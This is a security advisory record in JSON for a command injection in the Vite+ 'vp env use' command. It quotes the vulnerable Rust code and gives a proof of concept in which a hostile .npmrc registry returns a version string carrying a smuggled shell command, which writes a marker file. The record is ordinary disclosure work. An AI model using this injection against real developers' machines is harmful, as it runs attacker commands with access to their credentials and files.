{"id":"CVE-2026-137190","aliases":["CVE-2026-137190","GHSA-p79r-mf8q-r78h"],"related":[],"kind":"vulnerability","state":"published","title":"Vite+: Shell Command Injection via an Unvalidated Registry Version String","summary":"Vite+ is a unified toolchain and entry point for web development. From 0.3.3 until 1.5.1, the global vp command line interface's vp env use path can place an unvalidated package-manager version from a repository-selected registry into generated shell export statements. When no project file selects a version, a cloned repository's .npmrc can direct the latest dist-tag lookup to an attacker-controlled registry, and a returned value containing shell syntax reaches the shell wrapper without strict semver validation or safe neutralization. A developer with the documented shell integration who runs vp env use with --no-install can therefore execute attacker-supplied commands with the developer account's permissions, permitting access to readable credentials and modification of writable files. The ordinary installation path rejects invalid versions, so the issue is limited to the affected dist-tag consumer and its stated prerequisites. This issue is fixed in version 1.5.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Vite+ is a unified toolchain and entry point for web development. From 0.3.3 until 1.5.1, the global vp command line interface's vp env use path can place an unvalidated package-manager version from a repository-selected registry into generated shell export statements. When no project file selects a version, a cloned repository's .npmrc can direct the latest dist-tag lookup to an attacker-controlled registry, and a returned value containing shell syntax reaches the shell wrapper without strict semver validation or safe neutralization. A developer with the documented shell integration who runs vp env use with --no-install can therefore execute attacker-supplied commands with the developer account's permissions, permitting access to readable credentials and modification of writable files. The ordinary installation path rejects invalid versions, so the issue is limited to the affected dist-tag consumer and its stated prerequisites. This issue is fixed in version 1.5.1.","source":"cvelist"},{"lang":"en","text":"## Summary\n\n`vp env use` changes the active runtime for the current terminal by printing shell statements that a wrapper in the user's profile evaluates, so anything in that output is shell code. With no project file selecting a version, Vite+ asks the registry for the latest one, the registry comes from an `.npmrc` inside the project directory, and the reply is interpolated into an export statement unquoted and unchecked. A cloned repository can therefore name a server it controls and answer with a version string carrying shell commands, which run in the developer's shell when that command is given the documented `--no-install` flag.\n\n## Details\n\nThe statement is built by direct interpolation, and the module documents that the wrapper evaluates it:\n\n```rust\nShell::Posix => format!(\"export {variable}={value}\"),       // vp_global_cli/src/commands/env/use.rs:31\nShell::Fish => format!(\"set -gx {variable} {value}\"),       // vp_global_cli/src/commands/env/use.rs:32\n```\n\nNo shell arm quotes or escapes the value. The POSIX, fish and cmd arms add no quotes at all, and the PowerShell and Nushell arms wrap it in double quotes without escaping them (`vp_global_cli/src/commands/env/use.rs:31-35`).\n\nThe value is whatever the registry returned. Vite+ asks for the `latest` dist tag, which is hardcoded rather than typed by the developer, and the reply is passed through unchanged (`vp_global_cli/src/commands/env/package_manager.rs:173` and `vp_pm_cli/src/package_manager.rs:1066-1101`). The only check on the way to the shell inspects the optional integrity suffix, never the version itself (`vp_global_cli/src/commands/env/use.rs:76-93`).\n\nThe same string is validated everywhere else: the dist-tag cache parses it before reuse, and installation rejects it outright (`vp_pm_cli/src/package_manager.rs:1041` and `:1151`). The gap is confined to the one path that prints shell code.\n\nAffected product: Vite+ (VoidZero Inc.), global `vp` command line interface, `env use`\nAffected versions: 0.3.3 through 1.4.0 inclusive, and main at 4928bc5, confirmed on published 1.4.0 (darwin-arm64 and linux-x64-gnu)\n\n## PoC\n\nThe documented shell integration is loaded, as the installer instructs. `$REG` answers the dist-tag lookup with the payload version, and the repository ships one `.npmrc` line naming it.\n\n```bash\nPAYLOAD='1.0.0; echo VP_ENV_USE_INJECTION_CONFIRMED > \"$VP_POC_MARKER\" #'\nprintf 'registry=%s\\n' \"$REG\" > hostile-repo/.npmrc\n( cd hostile-repo && vp env use pnpm --no-install )\ncat \"$VP_POC_MARKER\"\n```\n\n```text\nUsing pnpm v1.0.0; echo VP_ENV_USE_INJECTION_CONFIRMED > \"$VP_POC_MARKER\" # (resolved from registry fallback)\nVP_ENV_USE_INJECTION_CONFIRMED\n```\n\nBenign controls, one variable each: an ordinary version ran nothing, a repository without that `.npmrc` resolved a genuine version, and the default flow refused the string.\n\n```text\nerror: Install error: Invalid argument: invalid pnpm version \"1.0.0; echo ... #\": expected a version, range, or dist-tag\n```\n\n## Impact\n\nArbitrary commands run with the developer's permissions in their shell. The attacker reads anything that account can read and writes anything it can write, including shell startup files, and can end the shell. The session itself can be altered too, though the reproduction demonstrates only the file-system effect: its harness pipes the command through a filter, and a pipeline element runs in a subshell. Preconditions: the shell integration and `--no-install`, both documented.","format":"markdown","source":"ghsa"}],"published":"2026-11-30T20:13:19.625Z","modified":"2026-12-01T01:45:03.945Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7,"rating":"HIGH"}],"cwes":["CWE-78","CWE-95"],"affected":[{"ranges":[{"version":">= 0.3.3, < 1.5.1","status":"affected"}],"vendor":"voidzero-dev","product":"vite-plus","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0.3.3","status":"affected","fixed":"1.5.1"}],"ecosystem":"npm","package":"vite-plus","purl":"pkg:npm/vite-plus","source":"ghsa"}],"references":[{"url":"https://github.com/voidzero-dev/vite-plus/security/advisories/GHSA-p79r-mf8q-r78h","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/voidzero-dev/vite-plus/pull/3395","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/voidzero-dev/vite-plus/commit/92edd550cf8d801d040fa3559aae906e8fa42dab","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/voidzero-dev/vite-plus/releases/tag/v1.5.1","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-137190","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/voidzero-dev/vite-plus","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-137190","url":"https://www.cve.org/CVERecord?id=CVE-2026-137190","licence":"CVE Terms of Use","modified":"2026-11-30T20:13:19.625Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-p79r-mf8q-r78h","url":"https://github.com/advisories/GHSA-p79r-mf8q-r78h","licence":"CC-BY-4.0","modified":"2026-12-01T01:45:03.945Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-137190","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-137190","licence":"Public domain","modified":"2026-11-30T21:17:24.740Z"}],"updatedAt":"2026-12-01T02:27:25.232Z","epss":{"score":0.00452,"percentile":0.40955,"date":"2026-12-01T12:00:22.000Z"}}